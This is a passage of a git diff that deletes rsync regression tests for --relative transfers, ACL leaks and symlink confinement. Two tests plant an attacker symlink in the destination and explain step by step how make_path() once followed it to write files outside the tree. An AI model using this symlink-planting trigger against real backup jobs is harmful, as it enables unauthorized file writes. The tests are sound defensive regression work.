f\"detect_leaks=1:abort_on_error=0:log_path={asan_log}\"\n-)\n-\n-p = subprocess.run(rsync_argv('-a', '--acls', f'{src}/', f'{dst}/'),\n-                   capture_output=True, text=True)\n-\n-# Non-vacuity: the transfer must have actually run through recv_generator's\n-# directory branch (the dest dir pre-exists with an ACL, and its child file is\n-# updated).  We can't check the exit code: under detect_leaks=1 rsync's\n-# intentional at-exit leaks already force a nonzero status.\n-if (dst / 'sub' / 'f.txt').read_text() != \"updated-content\\n\":\n-    test_fail(f\"--acls transfer did not update the destination; leak path not exercised:\\n{p.stderr}\")\n-\n-reports = ''.join(open(r, errors='replace').read()\n-                  for r in glob.glob(f\"{asan_log}.*\"))\n-if 'recv_generator' in reports:\n-    test_fail(\"recv_generator leaked real_sx ACL data on the directory path (KI-23):\\n\"\n-              + reports[:1500])\n-\n-print(\"recv-generator-acl-leak: recv_generator does not leak real_sx ACL data\")\ndiff --git a/testsuite/relative-content_test.py b/testsuite/relative-content_test.py\ndeleted file mode 100644\nindex 688cd2f..0000000\n--- a/testsuite/relative-content_test.py\n+++ /dev/null\n@@ -1,42 +0,0 @@\n-#!/usr/bin/env python3\n-# rsync -aR (--relative) must transfer file CONTENT, not just the directory tree.\n-#\n-# Regression for a 3.5.0-dev sender bug: the symlink-race-confined content open\n-# became secure_relative_open(NULL, fname, O_RDONLY|O_NOFOLLOW, 0), and\n-# secure_relative_open() rejects an ABSOLUTE relpath with EINVAL before opening.\n-# With --relative the sender keeps the full (absolute) source path as fname, so\n-# every regular file failed to open: directories/symlinks still transferred, but\n-# the files arrived empty/missing and the run exited 23 (\"send_files failed to\n-# open ...: Invalid argument (22)\").  A near-silent data-loss bug for the very\n-# common \"rsync -aR /abs/path backup/\" pattern.  3.4.x was unaffected.\n-#\n-# Plain transfer, no root or special features -- this must pass everywhere.\n-\n-from pathlib import Path\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'relcontent'\n-src = base / 'src' / 'sub'\n-dest = base / 'dest'\n-rmtree(base)\n-makepath(src, dest)\n-\n-payload = 'hello relative content\\n'\n-(src / 'file').write_text(payload)\n-\n-# --relative with an ABSOLUTE source path: fname on the sender is absolute, the\n-# exact trigger.  check=True fails the test if rsync exits non-zero (the buggy\n-# sender exits 23 here).\n-abs_file = str((src / 'file').resolve())\n-run_rsync('-aR', abs_file, str(dest) + '/')\n-\n-# -R mirrors the absolute source path under dest: dest/<abs_file without leading />.\n-landed = dest / abs_file.lstrip('/')\n-if not landed.is_file():\n-    test_fail(f\"rsync -aR did not create {landed} (only the tree, no file?)\")\n-got = landed.read_text()\n-if got != payload:\n-    test_fail(f\"rsync -aR transferred empty/wrong content: {got!r} != {payload!r}\")\n-\n-print(\"relative-content: rsync -aR transfers file content for an absolute source\")\ndiff --git a/testsuite/relative-implied-symlink_test.py b/testsuite/relative-implied-symlink_test.py\ndeleted file mode 100644\nindex 7a06dc0..0000000\n--- a/testsuite/relative-implied-symlink_test.py\n+++ /dev/null\n@@ -1,49 +0,0 @@\n-\"\"\"Pin that `-R`/`--relative` materializes implied parent dirs as REAL\n-directories even when a sending-side path element is a symlink.\n-\n-The rsync(1) `--relative` entry claims: \"Beginning with rsync 3.0.0, rsync\n-always sends these implied directories as real directories in the file list,\n-even if a path element is really a symlink on the sending side.  This prevents\n-some really unexpected behaviors...\"  This test checks the \"always\" by making an\n-implied path element a symlink on the sender and confirming the receiver creates\n-it as a real directory (not a symlink), so the deep file lands under a real dir.\n-\n-Pure local client behaviour: no daemon/root/tcp.  Cross-version: expected\n-identical against --rsync-bin=old_versions/rsync_3.2.7 (3.2.7 >= 3.0.0).\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'relative-implied'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-src = base / 'src'\n-(src / 'realdir').mkdir(parents=True)\n-(src / 'realdir' / 'file').write_text('F\\n')\n-os.symlink('realdir', src / 'link')        # 'link' is a symlink path element\n-\n-dst = base / 'dst'\n-rmtree(dst)\n-dst.mkdir()\n-# Transfer through the symlink path element with -R: src/./link/file\n-subprocess.run(rsync_argv('-a', '-R', f'{src}/./link/file', f'{dst}/'),\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-p = dst / 'link'\n-if p.is_symlink():\n-    test_fail(\"--relative: implied 'link' was sent as a symlink, not materialized \"\n-              \"as a real directory (the 'always sends ... as real directories' \"\n-              \"claim would be false)\")\n-if not p.is_dir():\n-    test_fail(\"--relative: implied 'link' was not created as a directory\")\n-f = dst / 'link' / 'file'\n-if not f.is_file() or f.read_text() != 'F\\n':\n-    test_fail(\"--relative: deep file did not land under the materialized dir\")\n-\n-print(\"relative-implied-symlink: -R materializes an implied path element as a \"\n-      \"REAL directory on the receiver even when it is a symlink on the sender -- \"\n-      \"the 'always sends implied dirs as real directories' claim holds\")\ndiff --git a/testsuite/relative-implied_test.py b/testsuite/relative-implied_test.py\ndeleted file mode 100644\nindex 81d423b..0000000\n--- a/testsuite/relative-implied_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -R implied directories and --no-implied-dirs at depth.\n-\n-With -R the directories implied by a source path are recreated at the\n-destination AND have their attributes mirrored from the source. With\n---no-implied-dirs those implied directories are still created as needed but get\n-default attributes instead of the source's. Verify the distinction on an\n-implied directory carrying a non-default mode, several levels deep.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, TODIR,\n-    assert_mode, assert_same, forced_protocol, makepath, rmtree, run_rsync,\n-)\n-\n-os.umask(0o022)        # make the default implied-dir mode deterministic (0o755)\n-\n-base = SCRATCHDIR / 'rbase'\n-rmtree(base)\n-rmtree(TODIR)\n-makepath(base / 'a' / 'b' / 'c')\n-os.chmod(base / 'a' / 'b', 0o750)         # distinctive mode on an implied dir\n-(base / 'a' / 'b' / 'c' / 'file').write_text(\"data\\n\")\n-\n-os.chdir(base / 'a')\n-\n-# -R: implied dirs b and c are recreated with the source's attributes.\n-run_rsync('-aR', 'b/c/file', f'{TODIR}/')\n-assert_mode(TODIR / 'b', 0o750, label='-R mirrors implied-dir mode')\n-assert_same(TODIR / 'b' / 'c' / 'file', base / 'a' / 'b' / 'c' / 'file',\n-            label='-R deep file')\n-\n-# --no-implied-dirs: implied dir b is created with default (not source) attrs.\n-# At protocol 29 the generator rejects a multi-component path that has no\n-# transmitted directory entries (\"invalid path from sender\"), so this half is\n-# protocol-30+.\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    print(f\"relative-implied: protocol {proto} -- skipping --no-implied-dirs \"\n-          \"(the multi-component path is rejected by the proto-29 generator)\")\n-else:\n-    rmtree(TODIR)\n-    run_rsync('-aR', '--no-implied-dirs', 'b/c/file', f'{TODIR}/')\n-    # The implied dir must get the default mode (0o777 & ~umask == 0o755),\n-    # not the source's distinctive 0750 -- assert the exact mode, not merely\n-    # \"different from 0750\".\n-    assert_mode(TODIR / 'b', 0o755,\n-                label='--no-implied-dirs uses the default mode, not source 0750')\n-    assert_same(TODIR / 'b' / 'c' / 'file', base / 'a' / 'b' / 'c' / 'file',\n-                label='--no-implied-dirs deep file')\n-\n-print(\"relative-implied: -R mirrors implied-dir attrs; --no-implied-dirs does not\")\ndiff --git a/testsuite/relative-mkpath-dir-symlink_test.py b/testsuite/relative-mkpath-dir-symlink_test.py\ndeleted file mode 100644\nindex 9ee838e..0000000\n--- a/testsuite/relative-mkpath-dir-symlink_test.py\n+++ /dev/null\n@@ -1,64 +0,0 @@\n-#!/usr/bin/env python3\n-# --relative directory-entry creation escapes the tree via make_path().\n-#\n-# Companion to relative-mkpath-symlink_test.py for the SECOND make_path() call\n-# site flagged in the May 2026 follow-up.  When the receiver creates a directory\n-# entry under --relative and the leaf do_mkdir_at() fails with ENOENT (a parent\n-# component is missing), generator.c falls back to:\n-#   make_path(fname, MKP_DROP_NAME | MKP_SKIP_SLASH)   (recv_generator, the\n-#                                                        directory-creation site)\n-# and then retries do_mkdir_at().  make_path() builds the parent chain with a\n-# PLAIN do_mkdir() on the full multi-component path, so a symlink planted at any\n-# parent component is followed and the new directories are created at the\n-# symlink's target, OUTSIDE the destination tree.\n-#\n-# Trigger: transfer a directory whose mid-level parent is absent under a planted\n-# parent symlink, with --no-implied-dirs so the mid parent is not pre-created.\n-# do_mkdir_at(dest/A/B/C) fails ENOENT (B missing under the dest/A symlink),\n-# make_path() then creates dest/A/B == outside/B, escaping the tree.\n-#\n-# Deterministic static plant; any uid; platform-independent.  Fixed: the\n-# do_mkdir_at() ENOENT fallback's make_path() now builds the parent chain through\n-# the held-dirfd do_mkdir_at(), confining each component beneath the destination.\n-# This is a regression guard -- it asserts nothing escapes and fails hard if that\n-# confinement is ever lost.\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-\n-srcroot = SCRATCHDIR / 'srcroot'\n-dest = SCRATCHDIR / 'dest'\n-outside = SCRATCHDIR / 'outside'\n-for d in (srcroot, dest, outside):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-# A directory three levels below the implied-dir boundary; 'B' (the mid parent)\n-# is what make_path must create under the planted dest/A symlink.\n-(srcroot / 'A' / 'B' / 'C').mkdir(parents=True)\n-(srcroot / 'A' / 'B' / 'C' / 'file').write_text(\"PAYLOAD\\n\")\n-\n-# Attacker-planted parent symlink pointing OUTSIDE the destination tree.\n-(dest / 'A').symlink_to(outside)\n-\n-# -R replicates A/B/C/ under dest; --no-implied-dirs leaves B uncreated, so the\n-# dir-entry do_mkdir_at() fails ENOENT and the make_path() fallback runs.\n-subprocess.run(\n-    rsync_argv('-aR', '--no-implied-dirs', f'{srcroot}/./A/B/C/', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-)\n-\n-try:\n-    leaked = sorted(p.name for p in outside.iterdir())\n-except OSError:\n-    leaked = []\n-\n-if leaked:\n-    test_fail(\n-        \"--relative make_path() (dir-entry fallback) escaped the destination \"\n-        f\"tree: parent creation landed in {outside} ({leaked}) by following a \"\n-        \"planted dest/A -> outside symlink -- the do_mkdir_at() ENOENT fallback's \"\n-        \"make_path() must stay routed through the held-dirfd do_mkdir_at().\")\n-# No escape -> the dir-entry make_path fallback was confined beneath the dest.\ndiff --git a/testsuite/relative-mkpath-symlink_test.py b/testsuite/relative-mkpath-symlink_test.py\ndeleted file mode 100644\nindex 437c4b5..0000000\n--- a/testsuite/relative-mkpath-symlink_test.py\n+++ /dev/null\n@@ -1,74 +0,0 @@\n-#!/usr/bin/env python3\n-# --relative implied-parent creation escapes the tree via make_path().\n-#\n-# Receiver write escape (scenario 2), in a\n-# code path the held-dirfd hardening does NOT cover.  Under --relative (-R) the\n-# receiver re-creates the implied parent directories of each transferred path.\n-# When a needed parent is missing it calls make_path() (util1.c), which creates\n-# every missing component with a PLAIN do_mkdir() on the full multi-component\n-# path -- no secure_relative_open, no held dirfd, no O_NOFOLLOW.  The per-entry\n-# leaf mkdir was converted to the hardened do_mkdir_at(), but make_path()'s\n-# parent-chain creation was not, so it still follows a symlink planted at any\n-# parent component and creates directories at the symlink's target, OUTSIDE the\n-# destination tree.\n-#\n-# Trigger (generator.c recv_generator, the relative_paths && !implied_dirs site):\n-# pushing a file whose implied parent is absent makes the generator call\n-#   make_path(fname, MKP_DROP_NAME | MKP_SKIP_SLASH)\n-# to build the parent chain.  We use --no-implied-dirs so the parents are not\n-# pre-created as their own (hardened do_mkdir_at) entries, forcing the make_path\n-# fallback.  An attacker-planted parent symlink (dest/A -> outside) then makes\n-# make_path create dest/A/B == outside/B and the file lands at outside/B/file.\n-#\n-# Deterministic (no race window): the escaping component is pre-planted, exactly\n-# like nondaemon-symlink-race.  Runs at any uid; root (a nightly `rsync -aR`\n-# backup over a tree with an attacker-writable component) is the high-severity\n-# instance.  No RESOLVE_BENEATH gate: make_path() is unconfined on every\n-# platform, so creating a brand-new directory has no legitimate reason to follow\n-# a symlink component -- the fix should refuse the escape everywhere.\n-#\n-# Fixed: make_path()'s parent-chain creation now goes through the held-dirfd\n-# do_mkdir_at(), which confines each component beneath the destination, so the\n-# escape is refused.  This is a regression guard -- it asserts nothing escapes\n-# and fails hard if that confinement is ever lost.\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-\n-srcroot = SCRATCHDIR / 'srcroot'\n-dest = SCRATCHDIR / 'dest'\n-outside = SCRATCHDIR / 'outside'\n-for d in (srcroot, dest, outside):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-# A transferred file two levels below the implied-dir boundary (the '/./').\n-(srcroot / 'A' / 'B').mkdir(parents=True)\n-(srcroot / 'A' / 'B' / 'file').write_text(\"PAYLOAD\\n\")\n-\n-# The attacker-planted parent: dest/A is a symlink pointing OUTSIDE the tree.\n-(dest / 'A').symlink_to(outside)\n-\n-# -R replicates the path after '/./' (A/B/file) under dest; --no-implied-dirs\n-# forces the make_path() parent-chain fallback rather than per-dir entries.\n-subprocess.run(\n-    rsync_argv('-aR', '--no-implied-dirs', f'{srcroot}/./A/B/file', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-)\n-\n-# The escape: make_path() resolved dest/A/B through the planted dest/A symlink\n-# and created the directory (and file) in the outside-the-tree directory.\n-try:\n-    leaked = sorted(p.name for p in outside.iterdir())\n-except OSError:\n-    leaked = []\n-\n-if leaked:\n-    test_fail(\n-        \"--relative make_path() escaped the destination tree: implied-parent \"\n-        f\"creation landed in {outside} ({leaked}) by following a planted \"\n-        \"dest/A -> outside symlink -- make_path()'s parent-chain creation must \"\n-        \"stay routed through the held-dirfd do_mkdir_at().\")\n-# No escape -> make_path confined the implied-parent creation beneath the dest.\ndiff --git a/testsuite/relative-source-ancestor_test.py b/testsuite/relative-source-ancestor_test.py\ndeleted file mode 100644\nindex 3864ede..0000000\n--- a/testsuite/relative-source-ancestor_test.py\n+++ /dev/null\n@@ -1,296 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Explicit source directory symlinks remain transfer roots.\"\"\"\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rsync_argv, test_fail\n-\n-real = SCRATCHDIR / 'real'\n-source = real / 'My_Documents'\n-source.mkdir(parents=True)\n-(source / 'marker').write_text('source contents\\n')\n-absolute_link = SCRATCHDIR / 'home'\n-relative_link = SCRATCHDIR / 'relative-home'\n-os.symlink(str(real), absolute_link)\n-os.symlink(str(real), relative_link)\n-\n-cases = (\n-    (('-r',), False),\n-    (('-rR',), True),\n-    (('-rR', '--no-inc-recursive'), True),\n-)\n-\n-for link_name, link, cwd in (\n-    ('absolute', absolute_link, None),\n-    ('relative', relative_link, SCRATCHDIR),\n-):\n-    source_arg = (str(SCRATCHDIR) + '/./home/My_Documents/' if cwd is None\n-                  else 'relative-home/My_Documents/')\n-    for index, (options, relative) in enumerate(cases):\n-        dest = SCRATCHDIR / f'dest-{link_name}-descendant-{index}'\n-        dest.mkdir()\n-        proc = subprocess.run(\n-            rsync_argv(*options, source_arg, str(dest) + '/'),\n-            cwd=cwd, capture_output=True, text=True,\n-        )\n-        if proc.returncode:\n-            test_fail(f'{link_name} descendant source transfer with {options} '\n-                      f'failed: {proc.stdout}{proc.stderr}')\n-        expected = (dest / link.name / 'My_Documents' / 'marker' if relative\n-                    else dest / 'marker')\n-        if not expected.is_file() or expected.read_text() != 'source contents\\n':\n-            test_fail('relative source layout or contents changed')\n-\n-file_sources = (\n-    ('absolute-file', str(absolute_link / 'My_Documents' / 'marker'), None),\n-    ('relative-file', 'relative-home/My_Documents/marker', SCRATCHDIR),\n-)\n-for name, source_arg, cwd in file_sources:\n-    dest = SCRATCHDIR / f'dest-{name}'\n-    dest.mkdir()\n-    proc = subprocess.run(\n-        rsync_argv('-R', source_arg, str(dest) + '/'),\n-        cwd=cwd, capture_output=True, text=True,\n-    )\n-    if proc.returncode:\n-        test_fail(f'{name} transfer failed: {proc.stdout}{proc.stderr}')\n-    if cwd is None:\n-        expected = dest / str(absolute_link.relative_to('/')) / 'My_Documents' / 'marker'\n-    else:\n-        expected = dest / source_arg\n-    if not expected.is_file() or expected.read_text() != 'source contents\\n':\n-        test_fail(f'{name} layout or contents changed')\n-\n-files_from = SCRATCHDIR / 'files-from'\n-files_from.write_text('relative-home/My_Documents/marker\\n')\n-dest = SCRATCHDIR / 'dest-files-from'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--files-from={files_from}',\n-               str(SCRATCHDIR) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-expected = dest / 'relative-home' / 'My_Documents' / 'marker'\n-if proc.returncode or not expected.is_file() or expected.read_text() != 'source contents\\n':\n-    test_fail(f'files-from trusted ancestor transfer failed: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-files_from.write_text('relative-home/My_Documents/\\n')\n-dest = SCRATCHDIR / 'dest-files-from-dir'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--files-from={files_from}',\n-               str(SCRATCHDIR) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-expected = dest / 'relative-home' / 'My_Documents' / 'marker'\n-if proc.returncode or not expected.is_file() or expected.read_text() != 'source contents\\n':\n-    test_fail(f'files-from trusted directory transfer failed: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-remove_source = real / 'remove-marker'\n-remove_source.write_text('remove contents\\n')\n-files_from.write_text('relative-home/remove-marker\\n')\n-dest = SCRATCHDIR / 'dest-files-from-remove'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', '--remove-source-files', f'--files-from={files_from}',\n-               str(SCRATCHDIR) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-expected = dest / 'relative-home' / 'remove-marker'\n-if proc.returncode or remove_source.exists() or not expected.is_file():\n-    test_fail(f'files-from remove-source-files failed: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-confined_root = SCRATCHDIR / 'confined-root'\n-confined_root.mkdir()\n-confined_outside = SCRATCHDIR / 'confined-outside'\n-confined_outside.mkdir()\n-(confined_outside / 'marker').write_text('outside contents\\n')\n-os.symlink(str(confined_outside), confined_root / 'outside-link')\n-confined_inside = confined_root / 'inside'\n-confined_inside.mkdir()\n-(confined_inside / 'marker').write_text('inside contents\\n')\n-os.symlink(str(confined_inside), confined_root / 'inside-link')\n-confined_files_from = confined_root / 'files-from'\n-\n-confined_files_from.write_text('inside-link/marker\\n')\n-dest = confined_root / 'confined-inside-dest'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--confine-root={confined_root}',\n-               f'--files-from={confined_files_from}',\n-               str(confined_root) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-expected = dest / 'inside-link' / 'marker'\n-if proc.returncode or not expected.is_file() or expected.read_text() != 'inside contents\\n':\n-    test_fail(f'files-from trusted in-root link failed under confinement: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-confined_files_from.write_text('outside-link/marker\\n')\n-dest = confined_root / 'confined-outside-dest'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--confine-root={confined_root}',\n-               f'--files-from={confined_files_from}',\n-               str(confined_root) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-escaped = dest / 'outside-link' / 'marker'\n-if proc.returncode == 0 or escaped.exists():\n-    test_fail(f'files-from followed a trusted link outside --confine-root: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-confined_files_from.write_text('outside-link/\\n')\n-dest = confined_root / 'confined-outside-dir-dest'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--confine-root={confined_root}',\n-               f'--files-from={confined_files_from}',\n-               str(confined_root) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-escaped = dest / 'outside-link' / 'marker'\n-if proc.returncode == 0 or escaped.exists():\n-    test_fail(f'files-from enumerated a trusted link outside --confine-root: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-os.symlink(str(confined_root.parent), confined_root / 'ancestor-link')\n-confined_files_from.write_text('ancestor-link/\\n')\n-dest = confined_root / 'confined-ancestor-dest'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-d', f'--confine-root={confined_root}',\n-               f'--files-from={confined_files_from}',\n-               str(confined_root) + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-if proc.returncode == 0 or (dest / 'ancestor-link').exists():\n-    test_fail(f'files-from accepted a trusted ancestor of --confine-root: '\n-              f'{proc.stdout}{proc.stderr}')\n-\n-root_real = SCRATCHDIR / 'root-real'\n-root_real.mkdir()\n-(root_real / 'marker').write_text('source contents\\n')\n-absolute_root_link = SCRATCHDIR / 'root-home'\n-relative_root_link = SCRATCHDIR / 'relative-root-home'\n-os.symlink(str(root_real), absolute_root_link)\n-os.symlink(str(root_real), relative_root_link)\n-\n-for link_name, link, cwd in (\n-    ('absolute', absolute_root_link, None),\n-    ('relative', relative_root_link, SCRATCHDIR),\n-):\n-    source_arg = (str(SCRATCHDIR) + '/./root-home/' if cwd is None\n-                  else 'relative-root-home/')\n-    for index, (options, relative) in enumerate(cases):\n-        dest = SCRATCHDIR / f'dest-{link_name}-root-{index}'\n-        dest.mkdir()\n-        proc = subprocess.run(\n-            rsync_argv(*options, source_arg, str(dest) + '/'),\n-            cwd=cwd, capture_output=True, text=True,\n-        )\n-        if proc.returncode:\n-            test_fail(f'{link_name} root source transfer with {options} failed: '\n-                      f'{proc.stdout}{proc.stderr}')\n-        expected = dest / link.name / 'marker' if relative else dest / 'marker'\n-        if not expected.is_file() or expected.read_text() != 'source contents\\n':\n-            test_fail('explicit source-root layout or contents changed')\n-\n-if os.geteuid() == 0:\n-    untrusted_uid = next((entry.pw_uid for entry in pwd.getpwall()\n-                          if entry.pw_uid != 0), None)\n-    if untrusted_uid is not None:\n-        untrusted_link = SCRATCHDIR / 'untrusted-home'\n-        os.symlink(str(real), untrusted_link)\n-        os.lchown(untrusted_link, untrusted_uid, -1)\n-        source_arg = str(SCRATCHDIR) + '/./untrusted-home/'\n-        for index, (options, relative) in enumerate(cases[:2]):\n-            dest = SCRATCHDIR / f'untrusted-dest-{index}'\n-            dest.mkdir()\n-            proc = subprocess.run(\n-                rsync_argv(*options, source_arg, str(dest) + '/'),\n-                capture_output=True, text=True,\n-            )\n-            expected = dest / 'My_Documents' / 'marker'\n-            if relative:\n-                expected = dest / 'untrusted-home' / 'My_Documents' / 'marker'\n-            if proc.returncode or not expected.is_file():\n-                test_fail(f'explicit untrusted-owned source link with {options} '\n-                          f'failed: {proc.stdout}{proc.stderr}')\n-\n-        dest = SCRATCHDIR / 'untrusted-file-dest'\n-        dest.mkdir()\n-        source_arg = str(untrusted_link / 'My_Documents' / 'marker')\n-        proc = subprocess.run(\n-            rsync_argv('-R', source_arg, str(dest) + '/'),\n-            capture_output=True, text=True,\n-        )\n-        expected = dest / str(untrusted_link.relative_to('/')) / 'My_Documents' / 'marker'\n-        if proc.returncode or not expected.is_file():\n-            test_fail(f'explicit untrusted-owned file path failed: '\n-                      f'{proc.stdout}{proc.stderr}')\n-\n-        files_from.write_text('untrusted-home/My_Documents/marker\\n')\n-        dest = SCRATCHDIR / 'untrusted-files-from-dest'\n-        dest.mkdir()\n-        proc = subprocess.run(\n-            rsync_argv('-r', f'--files-from={files_from}',\n-                       str(SCRATCHDIR) + '/', str(dest) + '/'),\n-            capture_output=True, text=True,\n-        )\n-        escaped = dest / 'untrusted-home' / 'My_Documents' / 'marker'\n-        if proc.returncode == 0 or escaped.exists():\n-            test_fail('files-from followed an untrusted-owned ancestor symlink')\n-\n-        files_from.write_text('untrusted-home/My_Documents/\\n')\n-        dest = SCRATCHDIR / 'untrusted-files-from-dir-dest'\n-        dest.mkdir()\n-        proc = subprocess.run(\n-            rsync_argv('-r', f'--files-from={files_from}',\n-                       str(SCRATCHDIR) + '/', str(dest) + '/'),\n-            capture_output=True, text=True,\n-        )\n-        escaped = dest / 'untrusted-home' / 'My_Documents' / 'marker'\n-        if proc.returncode == 0 or escaped.exists():\n-            test_fail('files-from enumerated an untrusted-owned ancestor symlink')\n-\n-        files_from.write_text('untrusted-home/\\n')\n-        dest = SCRATCHDIR / 'untrusted-files-from-leaf-dir-dest'\n-        dest.mkdir()\n-        proc = subprocess.run(\n-            rsync_argv('-r', f'--files-from={files_from}',\n-                       str(SCRATCHDIR) + '/', str(dest) + '/'),\n-            capture_output=True, text=True,\n-        )\n-        escaped = dest / 'untrusted-home' / 'marker'\n-        if proc.returncode == 0 or escaped.exists():\n-            test_fail('files-from followed an untrusted-owned directory link')\n-\n-        files_from.write_text('untrusted-home/My_Documents/marker\\n')\n-        dest = SCRATCHDIR / 'insecure-files-from-dest'\n-        dest.mkdir()\n-        proc = subprocess.run(\n-            rsync_argv('-r', '--insecure-links', f'--files-from={files_from}',\n-                       str(SCRATCHDIR) + '/', str(dest) + '/'),\n-            capture_output=True, text=True,\n-        )\n-        expected = dest / 'untrusted-home' / 'My_Documents' / 'marker'\n-        if proc.returncode or not expected.is_file():\n-            test_fail(f'files-from insecure-links opt-out failed: '\n-                      f'{proc.stdout}{proc.stderr}')\n-\n-dest = SCRATCHDIR / 'remove-dest'\n-dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-r', '--remove-source-files', str(absolute_link / 'My_Documents') + '/', str(dest) + '/'),\n-    capture_output=True, text=True,\n-)\n-expected = dest / 'marker'\n-if proc.returncode or (source / 'marker').exists() or not expected.is_file():\n-    test_fail(f'remove-source-files failed: {proc.stdout}{proc.stderr}')\n-(source / 'marker').write_text('source contents\\n')\ndiff --git a/testsuite/relative-symlinked-parent-dotdot_test.py b/testsuite/relative-symlinked-parent-dotdot_test.py\ndeleted file mode 100644\nindex d6605c1..0000000\n--- a/testsuite/relative-symlinked-parent-dotdot_test.py\n+++ /dev/null\n@@ -1,37 +0,0 @@\n-#!/usr/bin/env python3\n-# rsync -aR through an in-tree symlinked parent whose target climbs with \"..\"\n-# but stays BENEATH the transfer anchor must transfer the file.  This is the\n-# RESOLVE_BENEATH rule: an in-tree \"..\" that does not rise above the root is\n-# allowed (kernel paths follow it, and 3.4.x followed it).\n-#\n-# Companion to relative-symlinked-parent_test.py (whose symlink target has no\n-# \"..\"): the portable per-component fallback (the BSDs / Solaris / Cygwin, or a\n-# Linux build configured --disable-openat2) originally refused EVERY symlink,\n-# then -- after the #715 fix -- still refused any symlink target containing\n-# \"..\", even a safe internal climb.  Both are now followed via a dirfd stack\n-# that pops \"..\" back to the pinned parent (never above the anchor), so this\n-# passes everywhere while genuine escapes (../ above the anchor, absolute\n-# targets) stay refused -- see secure-relpath-validation / the *-symlink-race\n-# tests.  Plain transfer, no root.\n-\n-import os\n-\n-from rsyncfns import SCRATCHDIR, assert_same, makepath, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'rsymparentdd'\n-rmtree(base)\n-# src/real/sub/file is the payload; src/deep/alias is an in-tree symlink whose\n-# target \"../real\" climbs out of src/deep back to src/ (still beneath src/).\n-makepath(base / 'src' / 'real' / 'sub', base / 'src' / 'deep', base / 'dest')\n-(base / 'src' / 'real' / 'sub' / 'file').write_text('payload data\\n')\n-os.symlink('../real', base / 'src' / 'deep' / 'alias')   # in-tree \"..\" dir-symlink\n-\n-os.chdir(base)                                            # -R mirrors the path as given\n-run_rsync('-aR', 'src/deep/alias/sub/file', 'dest/')     # check=True: fallback exits 23 if unfixed\n-\n-landed = base / 'dest' / 'src' / 'deep' / 'alias' / 'sub' / 'file'\n-if not landed.is_file():\n-    test_fail(f\"-aR through an in-tree '..' symlinked parent dropped the file: {landed} missing\")\n-assert_same(base / 'src' / 'real' / 'sub' / 'file', landed, label='content')\n-\n-print(\"relative-symlinked-parent-dotdot: -aR follows an in-tree '..' symlinked parent beneath the anchor\")\ndiff --git a/testsuite/relative-symlinked-parent_test.py b/testsuite/relative-symlinked-parent_test.py\ndeleted file mode 100644\nindex 259314d..0000000\n--- a/testsuite/relative-symlinked-parent_test.py\n+++ /dev/null\n@@ -1,35 +0,0 @@\n-#!/usr/bin/env python3\n-# rsync -aR of a source file whose path goes through an IN-TREE symlinked parent\n-# directory must transfer the file -- the symlink is part of the operator's own\n-# source tree, which 3.4.x follows.\n-#\n-# A/B-discovered 3.5 regression (abdiff: 3.5 vs 3.4.4): an early per-component\n-# O_NOFOLLOW resolver refused to traverse the in-tree symlinked parent that -R\n-# keeps in the path, so the content open failed (exit 23, the file lost; a\n-# near-silent partial copy).  The secure resolver now follows in-tree directory\n-# symlinks on every platform -- it readlinks the symlink and walks its target off\n-# held dirfds -- so this transfers uniformly.  3.4.x is unaffected everywhere.\n-#\n-# Related to the fixed `rsync -aR /abs` bug (sender content-open confinement),\n-# but a distinct trigger: an in-tree symlinked *parent component* under -R.\n-# Plain transfer, no root.\n-\n-import os\n-\n-from rsyncfns import SCRATCHDIR, assert_same, makepath, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'rsymparent'\n-rmtree(base)\n-makepath(base / 'src' / 'real' / 'sub', base / 'dest')\n-(base / 'src' / 'real' / 'sub' / 'file').write_text('payload data\\n')\n-os.symlink('real', base / 'src' / 'link')          # in-tree dir-symlink: link -> real\n-\n-os.chdir(base)                                       # -R mirrors the path as given\n-run_rsync('-aR', 'src/link/sub/file', 'dest/')      # 